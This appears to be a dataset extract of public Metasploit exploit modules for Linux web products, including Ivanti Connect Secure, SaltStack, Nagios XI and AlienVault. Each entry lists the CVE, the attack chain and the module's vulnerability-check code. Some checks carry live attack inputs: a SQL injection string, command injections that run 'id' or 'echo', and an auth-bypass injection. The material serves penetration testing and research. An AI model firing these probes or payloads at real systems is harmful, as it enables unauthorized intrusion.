deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Sourcegraph gitserver sshCommand RCE
Type: exploit
Path: modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb
Platform: unix
Disclosure date: 2022-02-18
References: CVE-2022-23642, URL-http://web.archive.org/web/[PII_REDACTED]2819/https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9, URL-https://github.com/Altelus1/CVE-2022-23642
Targets: Unix Command, Linux Dropper

Description:
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
          arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
          then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
          feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
          commands that are able to be executed through the git exec REST API.

Check method (fingerprinting):
res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
    return CheckCode::Unknown('Could not determine the target status') unless res

    if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
      # this is the response if the target repo does exist, highly unlikely since it's randomized
      return CheckCode::Vulnerable('Successfully set core.sshCommand.')
    elsif res.code == 404 && res.body =~ /"cloneInProgress"/
      # this is the response if the target repo does not exist
      return CheckCode::Vulnerable('The target is vulnerable')
    elsif res.code == 400 && res.body =~ /^invalid command/
      # this is the response when the server is patched, regardless of if there are cloned repos
      return CheckCode::Safe('The target is not vulnerable')
    end

    CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: rConfig Vendors Auth File Upload RCE
Type: exploit
Path: modules/exploits/linux/http/rconfig_vendors_auth_file_upload_rce.rb
Disclosure date: 2021-03-17
References: CVE-2022-44384, EDB-49665, EDB-49783

Description:
This module allows an attacker with a privileged rConfig account to start a reverse shell
          due to an arbitrary file upload vulnerability in `/lib/crud/vendors.crud.php`.
          Then, the uploaded payload can be triggered by a call to `images/vendor/<payload_file>.php`

Check method (fingerprinting):
r = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login.php')
    })

    if r&.code == 200

      version = r.body.to_s.match(/Version (\d*.\d*.\d*)/)
      if version && version[1]
        print_good(version[1] + ' of rConfig found !')
        unless Rex::Version.new(version[1]) <= Rex::Version.new('3.9.6')
          return CheckCode::Detected('Only versions <= 3.9.6 are vulnerable !')
        end

        return CheckCode::Appears('Vulnerable version of rConfig found !')
      else
        return CheckCode::Safe('Version of rConfig not found !')
      end
    else
      CheckCode::Unknown("Can't access the rConfig web interface !")
    end
  end
Metasploit Module: AlienVault OSSIM SQL Injection and Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/alienvault_sqli_exec.rb
Platform: unix
Disclosure date: 2014-04-24
References: CVE-2016-8581, OSVDB-106252, EDB-33006

Description:
This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
          OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an
          active admin session ID.  If an administrator level user is identified, remote code execution
          can be gained by creating a high priority policy with an action containing our payload.

Check method (fingerprinting):
marker = rand_text_alpha(6)
    sqli_rand = rand_text_numeric(4 + rand(4))
    sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "
    sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
      'vars_get' => { 'date_from' => sqli }
    })

    if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      print_status("#{res.body}")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Ivanti Connect Secure Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893.rb
Platform: %w[linux unix
Disclosure date: 2024-01-31
References: CVE-2024-21893, CVE-2023-36661, CVE-2024-21887, URL-https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis, URL-https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis, URL-https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure, URL-https://shibboleth.net/community/advisories/secadv_20230612.txt

Description:
This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection
          vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
          Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
          22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions
          8.x and below are also vulnerable.

Check method (fingerprinting):
# We get a static resource that contains an old banner circa 2018. The product "Connect Secure" was acquired by
    # Ivanti when Ivanti acquired "Pulse Secure", so we look for this string. This lets us confirm the target is running
    # the product "Connect Secure" (Tested against 22.3R1). We do not have an unauthenticated method to get a version
    # number, so this check routine can only return either Detected or Unknown.

    # This exploit chain based on CVE-2024-21893 bypasses a mitigation for an earlier exploit chain, based upon
    # CVE-2023-46805. Therefore, we dont leverage CVE-2023-46805 to access the /api/v1/system/system-information
    # endpoint for version information, as we assume the target has the first Ivanti mitigation applied. If the target
    # has not had the first mitigation applied, then the exploit ivanti_connect_secure_rce_cve_2023_46805 will work.

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/dana-na/css/visibility.css'
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Safe('The target is not vulnerable') if res.code != 200

    if res.body.include? 'Pulse Secure'
      return CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: IPFire Bash Environment Variable Injection (Shellshock)
Type: exploit
Path: modules/exploits/linux/http/ipfire_bashbug_exec.rb
Platform: %w(linux unix)
Disclosure date: 2014-09-29
References: EDB-34839, CVE-2014-6271

Description:
IPFire, a free linux based open source firewall distribution,
          version <= 2.15 Update Core 82 contains an authenticated remote
          command execution vulnerability via shellshock in the request headers.

Check method (fingerprinting):
begin
      res = send_request_cgi(
        'uri' => '/cgi-bin/index.cgi',
        'method' => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.15" && update.to_i < 83
        Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      else
        Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  #
  # CVE-2014-6271
  #
Metasploit Module: Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE
Type: exploit
Path: modules/exploits/linux/http/roxy_wi_exec.rb
Platform: unix
Disclosure date: 2022-07-06
References: URL-https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/, URL-https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755, CVE-2022-31137
Targets: Unix (In-Memory), Linux (Dropper)

Description:
This module exploits an unauthenticated command injection vulnerability in Roxy-WI
          prior to version 6.1.1.0. Successful exploitation results in remote code execution
          under the context of the web server user.

          Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.

Check method (fingerprinting):
print_status("Checking if #{peer} is vulnerable!")

    res = execute_command('id')

    return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res

    if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
      print_status("#{peer} is vulnerable!")
      return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
    elsif res.code == 200
      return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
    else
      return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
    end
  end
Metasploit Module: NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb
Platform: unix
Disclosure date: 2016-08-04
References: CVE-2016-5674, US-CERT-VU-856152, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt, URL-https://seclists.org/bugtraq/2016/Aug/45

Description:
The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance application are vulnerable
          to an unauthenticated remote code execution on the exposed web administration interface.
          This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
          This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
          It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
          in those devices.

Check method (fingerprinting):
echo = rand_text_alpha(9 + rand(9))
    res = send_payload("echo #{echo}", 20)
    if res && res.body.to_s =~ /([#{echo}]{2})/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: H2 Web Interface Create Alias RCE
Type: exploit
Path: modules/exploits/linux/http/h2_webinterface_rce.rb
Platform: unix
Disclosure date: 2018-04-09
References: CVE-2018-10054, EDB-44422, EDB-45506, URL-https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2, URL-https://www.h2database.com/html/commands.html#create_alias

Description:
The H2 database contains an alias function which allows for arbitrary Java code to be used.
          This functionality can be abused to create an exec functionality to pull our payload down
          and execute it. H2's web interface contains restricts MANY characters, so injecting a payload
          directly is not favorable. A valid database connection is required. If the database engine
          was configured to allow creation of databases, the module default can be used which
          utilizes an in memory database. Some Docker instances of H2 don't allow writing to
          folders such as /tmp, so we default to writing to the working directory of the software.

          This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)

Check method (fingerprinting):
@jsessionid = get_jsessionid

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login.jsp'),
      'method' => 'GET',
      'vars_get' => {
        'jsessionid' => @jsessionid
      }
    })
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
    return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'

    print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/
    print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/
    res = login(check_only: true)
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'

    CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")
  end
Metasploit Module: Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
Type: exploit
Path: modules/exploits/linux/http/cpi_tararchive_upload.rb
Platform: linux
Disclosure date: 2019-05-15
References: CVE-2019-1821, URL-https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce, URL-https://srcincite.io/advisories/src-2019-0034/, URL-https://srcincite.io/pocs/src-2019-0034.py.txt

Description:
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that
          the TarArchive Java class the HA Health Monitor component uses does not check for any
          directory traversals while unpacking a Tar file, which can be abused by a remote user to
          leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps
          directory, and gain arbitrary remote code execution. Note that authentication is not
          required to exploit this vulnerability.

Check method (fingerprinting):
res = send_request_cgi({
      'rport' => datastore['WEBPORT'],
      'SSL' => true,
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp')
    })

    unless res
      vprint_error('No response from the server')
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime'
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Appsmith RCE
Type: exploit
Path: modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb
Disclosure date: 2025-03-25
References: CVE-2024-55964, URL-https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/, URL-https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2024-55963/poc.py
Targets: Linux Command

Description:
An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'applications')
    })
    return Exploit::CheckCode::Unknown('Cannot reach server') unless res&.code == 200

    html_document = res.get_html_document
    return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?

    version_element = html_document.text.match(/parseConfig\('v(\d+\.\d+)'\)/)
    return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?

    version = Rex::Version.new(version_element[1])
    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.20'), Rex::Version.new('1.51'))

    Exploit::CheckCode::Appears("Version #{version} detected.")
  end
Metasploit Module: DenyAll Web Application Firewall Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/denyall_waf_exec.rb
Platform: python
Disclosure date: 2017-09-19
References: CVE-2017-14706, URL-https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/, URL-https://www.denyall.com/blog/advisories/advisory-unauthenticated-remote-code-execution-denyall-web-application-firewall/

Description:
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
          terminal command under the context of the web server user.

Check method (fingerprinting):
# If we've managed to get token, that means target is most likely vulnerable.
    token = get_token
    if token.nil?
      Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
  end
Metasploit Module: SaltStack Salt REST API Arbitrary Command Execution
Type: exploit
Path: modules/exploits/linux/http/saltstack_salt_api_cmd_exec.rb
Platform: unix
Disclosure date: 2020-11-03
References: CVE-2020-16846, CVE-2020-25592, URL-https://www.saltstack.com/blog/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
Targets: Unix Command, Linux Dropper

Description:
This module exploits an authentication bypass and command injection in
          SaltStack Salt's REST API to execute commands as the root user.

          The following versions have received a patch: 2015.8.10, 2015.8.13,
          2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,
          2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,
          3001.1, 3001.2, and 3002.

          Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.

Check method (fingerprinting):
# /bin/sh -c 'ssh-keygen -P "" -f /dev/null < /dev/null & # -t rsa -q'
    res = send_request_cmd_inject('/dev/null < /dev/null & #')

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Server: CherryPy/18.6.0
    unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
      return CheckCode::Unknown('Target does not appear to be running Salt.')
    end

    # {"return": [{}]}
    unless res.code == 200 && res.get_json_document['return'] == [{}]
      return CheckCode::Safe('Auth bypass failed.')
    end

    CheckCode::Vulnerable('Auth bypass successful.')
  end
Metasploit Module: Pandora FMS Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/pandora_fms_exec.rb
Platform: unix
Disclosure date: 2014-01-29
References: CVE-2014-125124

Description:
This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
          It will leverage an unauthenticated command injection in the Anyterm service on
          port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
          the user "artica" is not assigned a password by default, which makes it possible to su
          to this user from the "pandora" user. The "artica" user has access to sudo without a
          password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
          and lower force a password for the "artica" user during installation.

Check method (fingerprinting):
# Check version
    print_status("Trying to detect Pandora FMS Remote Gateway")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "anyterm.html")
    })

    if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
      print_good("Pandora FMS Remote Gateway Detected!")
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Sophos Web Protection Appliance sblistpack Arbitrary Command Execution
Type: exploit
Path: modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb
Platform: unix
Disclosure date: 2013-09-06
References: CVE-2013-4983, OSVDB-97029, BID-62263, EDB-28175, URL-http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities

Description:
This module exploits a command injection vulnerability on Sophos Web Protection Appliance
          3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable
          from the web interface without authentication. This module has been tested successfully
          on Sophos Virtual Web Appliance 3.7.0.

Check method (fingerprinting):
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
    domain = "http://#{rand_text_alpha(10 + rand(10))}.com"
    res = send_exploit_query(url, domain)

    if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Nagios XI Autodiscovery Webshell Upload
Type: exploit
Path: modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb
Platform: unix
Disclosure date: 2021-07-15
References: CVE-2021-37343, URL-https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/
Targets: Unix Command, Linux Dropper

Description:
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
          The path traversal allows a remote and authenticated administrator to upload a PHP web shell
          and execute code as `www-data`. The module achieves this by creating an autodiscovery job
          with an `id` field containing a path traversal to a writable and remotely accessible directory,
          and `custom_ports` field containing the web shell. A cron file will be created using the chosen
          path and file name, and the web shell is embedded in the file.

          After the web shell has been written to the victim, this module will then use the web shell to
          establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
          the module, and the autodiscovery job is removed as well.

Check method (fingerprinting):
auth_result, err_msg, @auth_cookies, @version = authenticate(datastore['USERNAME'], datastore['PASSWORD'], false, false, false)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    # affected versions are 5.2.0 -> 5.8.4
    if @version < Rex::Version.new('5.8.5') &&
       @version >= Rex::Version.new('5.2.0')
      return CheckCode::Appears("Determined using the self-reported version: #{@version.version}")
    end

    CheckCode::Safe("Determined using the self-reported version: #{@version.version}")
  end

  # Using the path traversal, upload a php webshell to the remote target